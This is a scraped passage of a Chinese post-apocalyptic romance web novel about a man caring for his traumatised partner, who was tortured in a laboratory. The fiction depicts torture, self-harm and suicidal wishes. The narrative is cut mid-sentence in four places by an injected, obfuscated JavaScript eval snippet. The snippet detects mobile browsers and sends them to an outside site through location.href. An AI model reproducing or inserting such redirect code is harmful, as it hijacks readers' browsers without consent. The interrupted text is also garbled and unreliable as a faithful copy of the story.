拜她这一眼所赐,向长霖想起来自己迟迟没能和兄弟找了那么久的对象正式见上一面,“景明啊,是不是该把你里面那位带出来介绍介绍了?” 足足五年了,从来只存在于兄弟嘴里的对象好不容易找到了,这不该认识认识? 步景明忽视了向长霖故作姿态抛过来的媚眼,“有机会吧,他休息了。” “啧,看得这么严?”向长霖夸张地摇摇头,“只是认识认识,又不跟你抢,以前怎么不知道你占有欲这么强。” “找借口也不找得好一点,休息也不给人家关个门,不担心会吵到他了?” 这倒是向长霖误会步景明了,步景明从来没有限制过江入年的交友,也很乐意将新交的朋友介绍给江入年认识,只是现下的情况确实不太合适,凭他对江入年的了解,想必江入年也不想在这么糟糕的状态下面对他人。 既然见不到人,向长霖也没什么留在这里的必要,和步景明说了一声自己会给他车上准备好足够的物资后,挥挥手就要离开。 步景明叫住了他,“向长霖。” 向长霖一脸期待地回头,“你改变主意了?” “你知不知道,广曙基地有没有枣树?” 向长霖:“……?” 23. 无措 向长霖一走,客厅里就剩下了田东宇,他站在客厅和玄关的连接处,支支吾吾,满脸犹豫。 “还有事?”步景明问道。 “……不,没什么事。” 田东宇冲他笑了笑,转身离开。 步景明眸光沉沉凝视着他走远的背影 ,右手食指与拇指习惯性摩挲起来,那是他思考事情时的小动作之一。 虽然不清楚为什么田东宇对江入年有意见,但就算江入年没什么特别的表示,步景明也不可能让田东宇继续跟在队伍里了。 这还是步景明没找到证据,若是被他发现江入年之前的失控和田东宇有关…… 将短暂泄露的杀意收敛好,步景明望了望一直没什么动静的主卧,心里暗暗生出一丝不安。 可他走进卧室内,也只是看到江入年好好的睡在床上,闭着眼,神情放松,似乎睡得很沉。 天空乌云翻涌,压得屋内几乎难见光亮,红雨貌似停了,又好像在酝酿着更大的一场风暴,耳边隐隐能听到遥远的闷雷,狂风呼啸拍打在玻璃窗上,发出阵阵沉重的晃响。 步景明侧身坐到床边,轻轻握住江入年留在被子外的手,稍稍用了些力,又担心惊醒对方,最终也只是自己俯下身去,在手背上留下一触即离的吻。 屋中蓦然亮起一瞬,伴随闪电而来的是骤然炸响的雷鸣,再次落下的终于不是怪异的红雨,而是正常的雨水,远处基地内的田地也得以去掉挡棚,让作物尽情地喝个水饱。 * 晚些时候,向长霖派人送来了一些广曙基地的资料。 大灾变将人类的科技进度往后砍了好一截,所以这会儿送来的都是纸质资料,有好几张,拿在手上薄薄的一沓。 步景明打开客厅灯,捏着资料坐上沙发翻看起来。 广曙基地位于北边的一处平原地带,占地面积不算大,但与其他基地不太相同的一点是,广曙基地几乎全民皆兵,据说最初建立起这个基地时就进行过筛选,要么天赋能力强,要么战斗实力高,能进入基地成为其成员的都是精英。 但是战斗能力有了,生产能力却没有跟上,以至于他们常以打猎和交易来维持基地的基础物资消耗。 不过这个基地的成员并没有仗着自己能打,就到处劫掠别的基地,反而很热心,时常会对被异变体攻击追杀的人施以援手,把人救下后会友情提供暂时的庇护,却不会轻易答应这些人的投靠。 后来就有一个小队,在广曙基地附近被救下后,多次试图加入广曙无门,干脆灵光一闪,挨着广曙又建了一个基地,吸纳不少被救下又被广曙拒绝的人,背靠大树好乘凉,发展得还挺不错。 广曙保证了他们的安全,他们则大力发展生产,两个基地就这样变成了互惠互利的盟友,日子过得还挺红火,只不过外人经常把那个基地也当成广曙的一部分,少有人知道真正的内情。 不过……既然管理层大换血了,也不知道还是不是这样的发展形式,而且李焕卿说新的首领不好相处,也不知是哪方面的难相处。 想到这里,步景明眉头微皱,在他的印象里,广曙基地无论怎么看,整体形象都偏正派,不像是会在暗地里进行如此有违人性实验的样子。 难道是因为管理层换人? 不对,江入年被抓至少也有将近五年,几乎就是大灾变发生后不久的事情,可广曙基地是在半年前才有的变化。 步景明姑且将这个疑惑记在了心里,也许要等去到广曙以后才能知道答案了。 “砰!” 主卧中突然传来一声重物落地的闷响,步景明急忙把手上资料往茶几上一放,起身快步冲进屋内,“年年?” 再微弱的小夜灯照亮下,江入年呆呆地卷着被子跌坐在地上,满脸茫然,直到他听到步景明的呼唤,扭头望向出现在身旁的男人时,眼里才总算被小灯映出几分光采。 “景明。” 他叫得亲昵,猫一样翘着尾调,“景明,景明。” 步景明半蹲在他身边,很快反应过来,自己又被江入年认成幻觉了。 五年后的江入年从来不会用这样的语气叫他。 所幸这样的事之前发生过一次,步景明很快调整好自己的情绪,将江入年连人带被抱起来,重新放回床上,“怎么掉下来了?有没有摔到什么地方?” 江入年乖巧摇摇头,任步景明抬起他的手臂上下左右检查了一通,“景明,你知道我现在在哪吗?” 还没等步景明思考要如何回答这个问题,他先是偏了偏脑袋看着窗外寥寥几盏亮着的路灯,又低头瞧自己的手腕,言语中满是疑惑,“我好像……是不是做了什么事,但是被我忘记了?” 步景明几乎要以为那个满心创口的江入年要回来了。 可他只说:“这里应该有一条链子才对,是因为我最近都表现得很乖,所以被奖励了吗?” “……” “步景明”不说话,江入年也不奇怪,似乎这样的情况才是常态。 “月月呢?你有看见她吗?”江入年捏了捏被角,“我想到了,也许不是我被奖励了,是月月偷偷给我放的。” “她经常这么干,我还劝过她,如果被发现的话,她会被罚的。” 身边的“人”站得笔直,却沉默得仿佛屋内只有江入年一个人那般,直到江入年咳了两声,说道:“想喝水。” “步景明”默不作声地转身,从一旁的桌上拿来一个水杯。 水被端到身前,江入年却又没有要喝的意思,而是微微低头,借着微弱的灯光和不大的水面,打量自己的脸。 “像个鬼,”他这么点评着,“你知道吗,我有个很爱我的恋人。” “我不知道他现在还好不好,我甚至不知道他还爱不爱我,因为我已经变得,完全不像我了。” “你觉得,他还认得我是谁吗?” 分明说话的语气平淡如水,不带一点异样,可那纤密如扇的睫羽扑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706908|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扇两下,眼前便看不真实了。 江入年又在无声无息地落泪,这泪水变成绞住颈脖的绸缎,步景明感觉自己濒临窒息,眼前因缺乏氧气而变得发昏发黑,爱人的话宛如一把巨锤,一下下地砸在大脑上,砸在心上,让他整个人都钝痛起来。 他想说,他知道,有个叫步景明的人一直很爱着你,那个人数次闯进危险之中就是为了找到你,如果找不到你,救不出你,那个人的生命就毫无意义。 他还想说,无论如何,那个人都会爱着你,不管你变成什么样,都会认出你。 但这些话在已经造成的创伤之上显得那样苍白无力,步景明就连呼吸都在发颤,咽喉的肌肉绷紧,捏着水杯的手用力到指尖都发白。 恍然间像是又变回曾经那个遇事总是无措的愣头青,不知如何做才能让眼前出现一条可走的路。 “……居然还能看见你哭。” 有一只缠了绷带的手伸过来,轻轻地,接住了步景明眼角将落未落的泪珠。 “我以为,那个周六,是我唯一一次能看见你哭鼻子。” 江入年不知什么时候又从幻觉中清醒过来,这会儿看步景明的模样颇有种动物园观赏动物的新奇感。 “……” 步景明把手上的水杯又往前递了递,江入年会意地就着他的手喝了两口水,润了润嗓子后,叹出一口气,“现在什么时候了?” “七八点吧,饿不饿?” 步景明自以为已经收敛好情绪,可江入年盯着他看了很久,突然道:“不要露出这样的表情。” 江入年不太说得清,那张被小灯照得不甚明亮的脸上具体应该是什么样的表情,包括那双黑沉的眼里所闪过的光,其中蕴含的事物复杂程度超过他如今大脑可以处理的阈值。 只有一点他能确认,他不喜欢看这样的步景明,就好像对方也变了一副模样,变成他不再熟悉的样子。 可步景明不明白,不明白江入年嘴里的“这样的表情”究竟是哪样,但不妨碍他顺势转移话题道:“饿不饿?要不要去厨房,看看能做什么吃的?” 江入年点点头,于是步景明牵上他的手,将他从床上带下来,“正好看看这个基地吧,某种方面上,这也算半个我的基地。” 他们走出门,走出单元楼,来到刚被大雨冲刷过的大地上,这会儿已经雨已经停了,只有潮湿的空气和地上的积水能看得出来那是一场多大的雨。 这是江入年几年以来,第一次实打实的走过这片经历了大灾变的土地,尽管依托小区而建的天明基地已经保留了不少曾经人类文明的痕迹,但四处疯长的植物和部分被摧毁过的建筑还是看得出来这里都曾发生过怎样的灾难。 似乎太久没走过路,哪怕是被救出实验室以来,也几乎是步景明抱着他移动,这会儿江入年颇感自己走路的姿势很别扭,一时有些控制不好两条腿的摆动幅度。 他深深地吸了一口气,心里无法自抑地涌上一阵难过。 24. 吃饭 这一路上,步景明给江入年说了不少天明基地的情况,只不过江入年对此反应平平,并不太感兴趣的样子。 此时姑且算是饭点,公共厨房里的人并不算多,但也零零散散有几撮分布在几张桌子上吃着各式各样的晚饭。 在来厨房之前,步景明先带江入年去了一趟停车的地方,从越野上拿下来一些食材,公共厨房顶多准备了部分调料和米面,食材可要自备。 不过到底是末世了,比不上过去,况且江入年的身体还没完全恢复,步景明也有些不知道能做什么吃的,思来想去也只是从车上拿了一些脱水青菜和风干肉片。 果然还是煮些最不出错的粥吧,现在应该可以往粥里加些别的食材来提升口感和营养…… 等等。 步景明忽然想起一件事。 已知江入年的天赋是强化治愈,并且他已经当着步景明的面展示了一遍他的天赋恢复速度有多快,可为什么他吃不了那些比较实的食物? 步景明起初以为是太久没进食,胃囊萎缩,这才导致江入年那天晚上把吃进去的土豆泥给吐了出来。 可有那样的天赋在,实验室为了从他身上取制作“神赐”的材料,也一直用营养液来维持他的身体机能,按理来说,江入年的身体状况应该很良好才对。 为什么?江入年实际表现出来的情况是,呕吐,几乎吃不下什么食物,哪怕是过于清淡的白粥。 步景明拿着肉和菜站在空闲的灶台前,忍不住回头看了一眼被他安放在最近的一张小方桌前的江入年,就在隔间的外面,一眼就能看见。 对方仍然和刚苏醒时没什么区别,一张脸惨白,就连嘴唇都没多少血色,身体靠在椅背上,微微垂着头,显得如此安静而……颓败。 就像一朵走到生命尽头的玫瑰,迎接他的只有枯萎与凋零。 江入年坐在那里,和整个天明祥和安宁的氛围格格不入,又是生面孔,实在有些吸引人眼球,周边吃饭的居民或多或少都往他身上投来好奇的目光。 好像位置选得有点不太合适,步景明本意只想着把人放在近一些的地方,没想到会被注意到。 正想着要不要给江入年换个位置坐时,远远的就有一道熟悉的声音传来,“老大!” 柯九辛从外面走进来,手上还拿着半截玉米,另外半截在她身后的丘月月身上。 其实步景明人在灶台的隔间里,柯九辛没看到他,但是看见了江入年,既然江入年在,她的老大就不可能不在,先叫一声总没错。 她也很想和江入年打声招呼,奈何上次的交流被步景明打断了,柯九辛一时拿不准自己应该管老大的对象叫什么,虽然之前开玩笑都叫嫂子,但真到了人跟前,对方又是男性,也不好随便就叫人嫂子。 比较亲近的昵称也不好取,万一打翻什么醋坛子怎么办。 她只是性子大大咧咧了一点,又不是什么情商很低的人。 而跟着柯九辛一起来的丘月月同样不知道该怎么称呼江入年,她之前都管他叫A01,而且从小到大没什么交朋友的经验,在实验室之外面对江入年,竟显得比对方还拘谨。 步景明把一碗米倒进高压锅,听到外头的动静便探出头看了一眼,“现在才来吃晚饭?” “老大你这话说得,你不也现在才来吃晚饭?” 柯九辛啃了一口玉米,“不过我们之前吃过了,只是带月月出来逛基地,路过厨房看见你们,就进来瞅瞅。” 步景明颔首,没多说什么,重新回到灶台前往锅里放水,放脱水青菜,放风干肉片。 隔间外,柯九辛毫不见外地坐到江入年面前,一手玉米一手托腮看着他,“上次的认识环节被老大打断了,我还不知道怎么称呼你比较好呢,我叫柯九辛,还记得吧?随便叫啥都行,你跟着小宇子叫我辛姐也行。” “辛姐。” 江入年没什么所谓,既然对方已经给出了一个称呼,那就这么叫吧。 “诶,”柯九辛被这一声叫得非常高兴,尤其是江入年这张脸长得又偏幼,搞得还真像是自己多了个弟弟似的,“那我怎么叫你呢?年……不对,跟老大的称呼撞了,小年?阿年?” 她摸着下巴思索了好一会儿,“感觉都不够好听,我就叫你入年吧?” 若是田东宇在这,估计多少要发起抗议了,怎么对江入年就是单叫名,叫自己就是小宇子,跟叫宫里太监似的,不过此时无人在意他的想法,柯九辛往江入年面前一坐,就替他挡去了许多窥探的目光,让江入年感觉舒服很多,对柯九辛的印象也下意识地提高了。 但这并不妨碍他在接下来柯九辛主动挑起的一系列话题里皆保持沉默,对外的社交实在有些太耗费他为数不多的精力,尤其还是面对柯九辛这样的高能量社交悍匪。 而意识到这一点的柯九辛也逐渐止住了话题,微微移开视线掩去眼睛里的担忧。 等到步景明端着煮好的粥出来时,江入年已经在座位上发呆到快要睡着了。 “年年,醒醒。” 他坐到江入年身边,轻轻扶住江入年的肩膀摇了摇,“吃完东西再回去睡。” 那浓密的眼睫颤了颤,随后极其缓慢地睁开,江入年垂眸看向面前散发着袅袅热气的肉粥,软烂开花的白米中还有几分褐色,里面加了酱油,是他曾经的口味习惯。 鼻间能嗅到食物的香气,大脑却无法进行应有的反应,明明胃里空空如也,食欲却丁点也无,江入年坐在椅子上,完全没有任何要吃饭的意思。 他不动,步景明也没跟他僵持,而是自然地端起碗,执起勺子,舀起一勺粥吹凉,递到他的嘴边。 “吃两口,年年。” “……” 步景明在这边放柔了声音哄江入年吃饭,给一旁的柯九辛看得鸡皮疙瘩都要起来了,压根控制不止心里想吐槽的欲望,直接开启天赋连上了丘月月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706909|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脑子,“我的妈诶,我跟老大认识都有三年了,什么时候听过他用这种语气说话啊,嗓子都快夹冒烟了吧!” “噗……” 丘月月险些没控制住脸上的表情,跟着心声一起笑出来。 “太稀罕了,没能有台手机把这一幕录下来真是血亏。”柯九辛把最后一口玉米啃完,“你知道吗,我一直觉得老大是那种沉默寡言大佬型的,谁想得到在对象面前是这种样子啊。” 丘月月想到他们的初遇,步景明毫不犹豫把刀架在她脖子上的情形,由衷地点头赞同。 并不知道自己被旁边两位女生蛐蛐了,步景明想方设法哄了半天,最后发现,其实最简洁的指令才是最有效的。 “张嘴。” 江入年一顿,慢慢地张开了嘴,步景明就得以往他的口腔里喂一勺粥。 但也不是一直有用,就这么喂了半碗粥之后,江入年眉头微蹙,抬手推开了面前的粥碗。 步景明见好就收,在心里暗暗叹气,好歹这次吃了半碗,有进步。 这一顿晚饭折腾下来,公共厨房墙上挂着的挂钟指针都走了大半圈,吃饭的人也走了不少,公共厨房顿时冷清许多。 步景明拿着碗进隔间收拾时,柯九辛也跟了进来,一副有话想说的表情。 “老大啊,你……” 她凑到步景明身边,把声音压了又压,奈何此时人实在少,整个空间里安静得不行,她索性继续用天赋进行精神对话,“老大,你对象他是不是有点……” 柯九辛顿了顿,努力搜刮自己的词汇库,硬是没找出一个可以代替“不想活了”的委婉的说法。 老实说,在大灾变后,这种浑身死志的人并不少见,总有人无法接受这样水深火热随时可能丧命的世界,与其经历被杀死的痛苦,不如自己先找好一块风水宝地。 可她老大刚把人救出来,想要找的人还活着并且成功找到了,本应该是一件令人欣喜的事,被救出来的那位却不太想活。 柯九辛发现这一点的时候,不仅替江入年感到忧心,也开始担心步景明。 假如江入年最终没有选择活下来,她毫不怀疑自己老大会紧随其后去殉情。 虽然平和秩序的社会被破坏,虽然科技和生产都被迫倒退,虽然基地外遍布危险满是异变体,但人还是得活着的,对吧? 步景明洗碗的手一顿,很快又继续将碗冲洗干净,“我会想办法的。” “在这之前,要先把最大的问题处理了。” 步景明想得很清晰,江入年的情况至少需要一个稳定安全的环境来慢慢治愈心上的创伤,而觊觎他天赋的背后势力就会是破坏这一切的最大威胁。 无论如何,要先把对方从暗处抓出来,然后…… “老大,如果到时候找到了,你打算怎么做?” 步景明把碗收进碗柜,甩干净手上的水珠。 “杀干净就好了。” 25. 过去 江入年一直以为自己的大脑早将过去发生的事情全都忘掉了。 无论是大灾变发生时周围绝大多数化为怪物的人类,还是一个月后自己被同伴暗算锁在未知的房间里,一桩桩一件件,都被深埋在记忆宫殿的深处,若要回忆,还是能轻易想起,历历在目。 在大灾变发生的刹那,江入年的脑子里只有一个想法:要去找步景明。 可他不知道步景明去了哪,手机的聊天框里最后一条消息是对方发的:去参加比赛了,两天后回。 在哪参加,参加什么比赛,几点回来,江入年一概不知,这是自认识步景明以来,他离步景明最远的一次,无论是物理意义上的距离,还是心灵上的。 当时的江入年和舍友一起躲在宿舍里,靠着宿舍里的零食和泡面撑了一个星期,捱过了高热,成为宿舍里第一个,也是唯一一个觉醒了天赋的人。 然后,江入年就把已经成为异变体的舍友全都杀了,为了活下去。 他对战斗一窍不通,握着水果刀捅进舍友心脏和大脑时,整个人的反应都是木然的,直到大腿上被咬下一块肉的伤口用疼痛将他的思绪拉回人间,他才猛然丢下沾血的刀,在一片恶臭中,吐得昏天黑地。 在和平年代成长的人何时见过这种场面,平日里就是不小心切菜在手上划了一道口子都得慌慌张张去找创可贴,江入年险些就以为自己要失血过多死在宿舍里了。 可他还没能找到步景明,他甚至连学校都还没出去…… 江入年还没来得及哭,就发现血已经止住了。 大腿上传来泛麻的痒,那是江入年第一次感受到身体内的细胞在用尽全力地,飞快地修复着那处伤口,就连皮肉也生长出来,填满了那个缺口。 二十分钟后,在江入年瞪大的眼睛的注视下,结出的厚厚一层痂轻轻掉落,如此严重的伤口仿佛从没出现过。 他似乎拥有了很不得了的能力。 现在一回想,江入年总忍不住唾弃自己过去的无知,不懂得怀璧其罪的道理,轻易就向他人吐露了自己所获得的能力,即便没有蠢到对陌生人也大谈特谈,却也对刚认识不久的同伴很快交心,就差没把自己的底裤颜色也一起透露出去。 江入年死都想不到,那个将他从异变体手上救下,分给他食物和药,听说他要去找人便同意与他同行好有个照应的同伴,竟然是造成他往后数年黑暗的恶魔。 在最初被囚禁时,他不是没反抗过,他生气,愤怒,拼了命想要从牢笼中逃出去,可换来的只有更严密的管控,和更多被割下的肉被抽取的血。 最严重的一次,江入年几乎在半个小时内没了一半的皮肉,又被锯下一半的骨骼。 他的天赋只不过是强化与治愈,无法屏蔽痛感,恶魔也不会好心在物资匮乏的世界里为他注射麻药。 很长一段时间,江入年睁眼闭眼都是如幽灵般飘来飘去的“白大褂”,他们拿着器具,飘过来割下一条肉,又飘走,飘过来抽几袋血,又飘走。 取骨头太费劲,因为他们发现必须给江入年留下什么,他才能再生回来,证实这一点的代价是,江入年永远少了一根肋骨。 恐惧与痛苦如影随形,江入年崩溃了不知多少次,这是真的数不清,记不住,哭泣和求饶只会让恶魔更愉悦。 他甚至不能死去,恶魔不肯放过他,要他好死不如赖活。 还有谁……还有谁能来救他? “景明……” 江入年把自己蜷起来,在黑暗中瞪大双眼,想到过去的美好就笑,想到如今的灾祸就哭,他觉得自己就快要疯掉了。 如果,如果还会有人来救他,还会有人记挂他,大概就只有步景明了。 可他甚至不知道对方还是不是活着。 江入年不敢细想步景明已经死掉的可能,那样显得他坚持下来的时间毫无意义,而没有盼头的未来,可以轻而易举地击碎一个痛苦不堪的人。 …… 他第一次看见步景明的时候,是在手术台上,他被束缚带捆缚,全身上下能移动的只有眼球。 江入年就在这样的状态下,第一次看见了出现在白大褂身后,站在门前的步景明。 对方穿着一身藏蓝色的家居服,头发很短,像是刚剪过,察觉到江入年的视线,他抬起眼,露出江入年最熟悉的笑容。 江入年的大脑“嗡”的一下,就连呼吸都急促,在手术台上拼了命地挣扎,硬生生绷开了两根束缚带。 白大褂们许久不见他这么疯狂,几个人都伸手过来试图按住他,好一会儿才想起来还有镇定剂的份额可以用,终于拿来针管,将冰凉的液体注入到他的体内。 直到江入年失去意识,步景明仍然只是站在那里,站在那里冲江入年笑。 * 江入年不知第几次自梦魇中惊醒。 他用力地呼吸着空气,双目呆愣地盯着纯白的天花板,好一会儿才找到自己是谁。 对了……景明,景明呢?! 他猛地坐起,牵动锁在脖子上的铁链哗哗作响,后脑隐隐作痛,连带着身体各处也一起叫嚣着疼。 尽管他的身上干干净净,没有伤口,也没有绷带。 “你还好吗?” 原来屋子里不止他一个人,还有一个戴着眼镜,肩膀上站着一只猫头鹰的白大褂。 对方察觉到他的动静,从椅子上起身走过来,手里还捏着几张资料,关切地问道:“终于醒了,有没有哪里不舒服?” 江入年的灵魂缓缓回归体内,呼吸也逐渐平息,唯有偏头痛还在持续地影响着他的心情。 嘴唇嗫嚅两下,但没有任何声音被吐出来,江入年偏头看了看左手背上的输液针,有一根软管向上连接到一袋只剩三分之一的无色的葡萄糖。 看起来是昏睡了好几天,否则这群人能直接灌他吃东西,就绝不会浪费宝贵的葡萄糖。 “……” 他不说话,白大褂也不奇怪,只是站在他的床边,轻轻地叹出一口气,“你还不如晚一天醒,明天就到采集日了。” 其实还好,采集日什么的,江入年早就习惯了,习惯了微不足道的疼痛,习惯了本应属于自己的皮肉被大块大块的取下,只要不像过去那样为了各种各样的实验结果而不停地折腾他,其实这群人要取多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706910|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少东西都无所谓了。 说起来,他好久没看见“步景明”了。 江入年的眼珠微动,很快地扫视一遍这个不大的空间,失落地收回了目光。 他要怎么做,才能再看见“步景明”呢? 回想过去的每一次碰面,似乎都无法总结出一个规律,那个幻象想来就来,一点都不顾及他的想法。 假的果然比不上真的。 …… 眼见A01又陷入到自己的世界中,隔绝外界的一切,白大褂又忍不住叹气,摸了摸两边口袋,除了一支笔以外空空如也,连颗糖也没有。 无法,她只好重新坐回去,低头继续研究手里的资料。 空气顿时陷入一阵仿佛凝滞了时间的沉默中,直到她听到一个干哑的声音,“月月。” 丘月月一愣,颇为意外地抬头,看见A01那双含笑的湛蓝眼睛,连语气都忍不住放得更柔和,“怎么了?” “我饿了。” ……龟龟,今天太阳打西边出来了? 丘月月自从成为A01的主负责人以来,这一年多从未见他主动要吃东西,一种莫名的被信任的欣喜感涌上心头,丘月月连忙站起来,“我去给你拿,想吃什么?” “都可以。”A01微笑着,那双圆圆的杏眼只要亮起来,就很容易得到他人的好感,丘月月也不例外。 她匆匆离开这间囚笼,去储存食物的仓库站了好一会儿,思考半晌,才选出可能是A01爱吃的食物。 带着这些食物,她返回囚笼,一推开门,却看见满目血红。 “年年!” 步景明手上拎着从公共厨房带回来的包子,推开房门时小心翼翼生怕吵到仍在沉睡的江入年,却不想门板旋转,卧室地面一片狼藉,床边不仅有一大片水迹和摔碎成几大块的玻璃杯,还有跪坐在地,手持碎片将左小臂划得鲜血淋漓的江入年。 原本缠绕在手上的绷带也已经被取下,孤零零的待在床尾处。 步景明的心脏顿时狂跳不止,随手把包子挂在门把手上,冲过去握住他的右手腕,阻止他继续往身上划道子,“年年!” 似是被这一声惊到,江入年浑身一抖,下意识松开手,任玻璃碎片向下坠,落到地面发出清脆响声。 直至此时,飞远的思绪姗姗归来,江入年这才意识到自己都干了什么,他垂下头,有意避开步景明直勾勾望过来的眼神。 好像又搞砸了,他迟钝地想,其实不是故意的,只是……有些什么,堵在心口上,堵得他难受,堵得大脑都发胀,直犯恶心。 再加上醒来时房间里空荡荡,只有自己一个人,江入年慢慢地坐直,柔软的被子滑落,露出这具过于削瘦的身躯。 这时,他看见了床头的玻璃水杯,那里是步景明昨晚特意准备的。 …… ……好安静,步景明是不是生气了? 江入年顿了顿,慢慢转动眼球去看,看见步景明蹲在他身边,握着他右手的那只手慢慢向上移动,直到用拇指拨开弯曲的手指,露出被碎片划出深红血痕的掌心。 他听见步景明问,“疼不疼?” 26. 离开 这好像是一句废话。 但步景明看江入年面无表情,就忍不住猜他会不会早已在这么多年的折磨下对疼痛麻木,究竟要经历多大的痛苦才会在如今,能脸色毫无变化地划伤自己? 玻璃碎片相比刀刃来说并不锋利,这也说明,要划出这么深的伤口,流这么多血,必定是将碎片抵在皮肤上反复割划才能做到的。 仅是想想,步景明就要忍不住皱起眉头,他轻轻托起那只多处伤口都有皮肉翻卷而出的手臂,一时甚至不知要如何处理,因为江入年的天赋能力已经开始进行修复,就在他过来抓住江入年手腕的时候,那些伤口就已经不再流血了。 步景明闭了闭眼,起身去浴室拿了一条干净的毛巾,湿水拧干,再回来小心翼翼地给江入年擦手上的血。 “疼不疼?” “……不疼。” 步景明没再说话,仔细地给他擦干净皮肤,顺便擦干地上的水迹,又从外面客厅拿来扫把和簸箕,绕开他把地上的玻璃碎片扫进垃圾桶。 做完这一切,步景明才问道:“还能站起来吗?” 他这么问了,江入年才恍然回神,感受到身体维持一个姿势太久没动弹后,肌肉发出的僵硬抗议。 其实不太能现在就站起来,江入年感觉自己的腿有点发麻,但又觉得这好像不算什么,便点点头,双手撑着地面,慢慢地试图站起来。 但他还没开始使力,仅仅是手掌刚接触地面的功夫,步景明就已经直接将他从地上抱了起来,“伤口还没恢复好,少逞强。” 将人放回床上,步景明去拿了一身新衣服,让江入年把染了血的衣服换下来,就这十分钟的功夫,自伤的部位就已经结了痂,衣服再一换,若是把绷带重新缠回去,就好像真的什么都没发生过那样。 步景明站在床边,沉默许久,才说道:“年年,以后,可以不要再伤害自己吗?如果很难受,你就告诉我,但是不要再这么做了。” “……如果我说不,你会生气吗?” 分明是曾经那么相爱的一对伴侣,重逢后的对话却好像总带着点疏离与试探。 步景明顿了顿,“不会,那次会是我最后一次对你生气。” 生气吵架的代价太大,他不敢了。 他现在比起生气,更多的其实是无力。 “不生气的话,那你累吗?” 江入年抿了抿唇,一字一吐息,“景明,我好累。” “……” “如果我答应你,那你可以答应我一件事吗?” 江入年说:“我不想活着了,一秒也不。” 相安无事的假象终是被戳破,让步景明下意识逃避不愿直面的问题被江入年就这样摆了出来。 ……想要死去么。 步景明的耳边响起一阵嗡鸣,他以为自己会难过,会落泪,可到了最后,他只是勾了勾嘴角,向前一步单膝压上床面,抬手捧起江入年的脸,柔声道:“不行,只有这个,不行。” 粗粝指腹缓缓摸索着他白皙的脸颊,步景明专注地盯着那双蓝眼睛,视线一路向下落到淡色的唇。 “年年,我记得很早以前我就说过的,除了想要离开我之外,我不会阻止你做任何事。” 他低下头,两人之间的距离就快要近到可以忽略不计,“就算活着会让你很痛苦,我也必须要让你活着。” “哪怕你因此讨厌我,恨我,那也没关系,我都可以接受,只要你还在我身边。” “……不要离开我。” 话音落下,他闭上眼,轻轻印上那双许久未碰触过的唇瓣,有些干涩,察觉不到什么温度,却好像只有这样才让他感到自己还能抓住江入年,没有让对方真的在他看不见的地方无声无息的消失。 步景明没有留意,江入年从头至尾都睁着眼,看清了那对漆黑眸子里闪烁的挣扎,和浓郁到化不开的悲伤。 江入年险些就要以为他又要哭了。 可是,要为了他活着吗? 江入年不知道,他的心找不到答案。 * 许是解决了定位器的缘故,在天明多待的这一天十分平静,没有实验室的袭击,基地也没有遭到什么异变体的攻击,倒是听说狩猎小队出去一趟,又清扫了不少异变体,带回来堆成小山那么高的材料。 步景明则多了不少事要忙,除了找人去重新改了改那俩黑色越野,添了一个座位确保五个人都有位置坐之外,还跟着向长霖去见了见基地另外三位管理人员,了解了基地目前最真实的详细情况。 至于江入年,步景明可不敢长时间放他一个人在屋里了,将房子里的危险物品都收好之后,步景明便干脆给柯九辛派了个任务,让她在自己不在的时候过来陪着江入年。 不仅是预防江入年自伤,也是在防着有人去到他面前说些不应该说的话。 “OK老大,这种事就放心交给我!” 柯九辛这么说着,高高兴兴地拉着丘月月一起进屋了。 虽然性子有些跳脱,但也许正适合去中和一下江入年的情绪。 由于下一个目标距离天明很远,这将是一趟很漫长的路途,向长霖不顾步景明的推脱,硬是往越野上塞了不少东西,自制的压缩干粮,两大桶饮用水,一点基础药品,还有比较稀有的烟和糖之类的。 “在如今这种世界,就算你们自己不用,拿去交易也好啊,谁能拒绝?” 向长霖这么说着,又往车上放了米面和子弹,“你们那几把枪还好使吧?” “嗯,没什么问题。” 他们小队里一般也不爱用枪,都是用天赋和冷兵器比较多,枪支的耗损远没有那几把刀和斧的耗损大。 “武器也给你们保养过了,绝对比之前好使!” 临行前,步景明坐上驾驶位,展开一张略显简陋的手绘地图,上面只简单绘制了重要地点的位置,比如广曙,比如卫民。 广曙基地就在天明的东北边,而卫民则是在东南边,整个地图以天明为中心,旁边还标了一些小基地的名字和位置。 三个基地正好能连成一个三角形,到时候去完广曙,他们可能会先绕去卫民,再考虑要不要回到天明。 最好的结果是在回天明之前,就解决掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 